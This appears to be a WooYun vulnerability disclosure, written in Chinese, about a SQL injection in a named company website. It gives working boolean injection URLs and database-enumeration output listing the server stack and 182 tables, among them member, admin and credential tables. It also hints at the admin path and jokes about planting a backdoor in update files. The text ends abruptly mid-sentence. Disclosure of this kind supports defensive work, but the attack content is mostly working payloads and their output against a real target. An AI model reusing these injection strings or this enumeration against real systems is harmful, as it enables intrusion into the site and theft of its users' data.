WooYun.org

先注册。
http://www.zenlane.com/index.php/Member/downinfo/id/127'%20and%20'1'='1

http://www.zenlane.com/index.php/Member/downinfo/id/127'%20and%20'1'='2

available databases [2]:
[*] information_schema
[*] www_zenlane_com
web application technology: Apache 2.4.2, PHP 5.3.15
back-end DBMS: MySQL 5.0.11
Database: www_zenlane_com
[182 tables]
+----------------------+
| cdb_access |
| cdb_activities |
| cdb_activityapplies |
| cdb_addons |
| cdb_adminactions |
| cdb_admincustom |
| cdb_admingroups |
| cdb_adminnotes |
| cdb_adminsessions |
| cdb_advertisements |
| cdb_announcements |
| cdb_attachmentfields |
| cdb_attachments |
| cdb_attachpaymentlog |
| cdb_attachtypes |
| cdb_banned |
| cdb_bbcodes |
| cdb_caches |
| cdb_creditslog |
| cdb_crons |
| cdb_debateposts |
| cdb_debates |
| cdb_failedlogins |
| cdb_faqs |
| cdb_favoriteforums |
| cdb_favorites |
| cdb_favoritethreads |
| cdb_feeds |
| cdb_forumfields |
| cdb_forumlinks |
| cdb_forumrecommend |
| cdb_forums |
| cdb_imagetypes |
| cdb_invites |
| cdb_itempool |
| cdb_magiclog |
| cdb_magicmarket |
| cdb_magics |
| cdb_medallog |
| cdb_medals |
| cdb_memberfields |
| cdb_membermagics |
| cdb_memberrecommend |
| cdb_members |
| cdb_memberspaces |
| cdb_moderators |
| cdb_modworks |
| cdb_myposts |
| cdb_mytasks |
| cdb_mythreads |
| cdb_navs |
| cdb_onlinelist |
| cdb_onlinetime |
| cdb_orders |
| cdb_paymentlog |
| cdb_pluginhooks |
| cdb_plugins |
| cdb_pluginvars |
| cdb_polloptions |
| cdb_polls |
| cdb_postposition |
| cdb_posts |
| cdb_profilefields |
| cdb_projects |
| cdb_promotions |
| cdb_prompt |
| cdb_promptmsgs |
| cdb_prompttype |
| cdb_ranks |
| cdb_ratelog |
| cdb_regips |
| cdb_relatedthreads |
| cdb_reportlog |
| cdb_request |
| cdb_rewardlog |
| cdb_rsscaches |
| cdb_searchindex |
| cdb_sessions |
| cdb_settings |
| cdb_smilies |
| cdb_spacecaches |
| cdb_stats |
| cdb_statvars |
| cdb_styles |
| cdb_stylevars |
| cdb_tags |
| cdb_tasks |
| cdb_taskvars |
| cdb_templates |
| cdb_threads |
| cdb_threadsmod |
| cdb_threadtags |
| cdb_threadtypes |
| cdb_tradecomments |
| cdb_tradelog |
| cdb_tradeoptionvars |
| cdb_trades |
| cdb_typemodels |
| cdb_typeoptions |
| cdb_typeoptionvars |
| cdb_typevars |
| cdb_usergroups |
| cdb_validating |
| cdb_warnings |
| cdb_words |
| h_about |
| h_access |
| h_activecode |
| h_activecode_backup |
| h_attach |
| h_audionavigation |
| h_backer |
| h_category |
| h_city |
| h_content |
| h_customer |
| h_dealers |
| h_dealers_old |
| h_download |
| h_downloaddata |
| h_dsa |
| h_ebook |
| h_email |
| h_feedback |
| h_freelog |
| h_freeuserdownload |
| h_gpsfile |
| h_gpstype |
| h_group |
| h_groupuser |
| h_information |
| h_jifen |
| h_jifen_log |
| h_job |
| h_license |
| h_licenseupload |
| h_links |
| h_member |
| h_news |
| h_news4 |
| h_node |
| h_notice |
| h_parament |
| h_policy |
| h_products |
| h_province |
| h_region |
| h_role |
| h_role_user |
| h_sales |
| h_service |
| h_servicewarn |
| h_sessions |
| h_setting |
| h_shop |
| h_shopcomment |
| h_shopimages |
| h_showshop |
| h_solution |
| h_supply |
| h_toppic |
| h_user |
| h_video |
| uc_admins |
| uc_applications |
| uc_badwords |
| uc_domains |
| uc_failedlogins |
| uc_feeds |
| uc_friends |
| uc_mailqueue |
| uc_memberfields |
| uc_members |
| uc_mergemembers |
| uc_newpm |
| uc_notelist |
| uc_pms |
| uc_protectedmembers |
| uc_settings |
| uc_sqlcache |
| uc_tags |
| uc_vars |
+----------------------+

路径加个admin，需要的自然会有

升级资料，可留后门吗？反正哥是做不来……

还有经销商黑名单！

似乎曾经有人来光顾过，但是不知道成功没有

最后不小心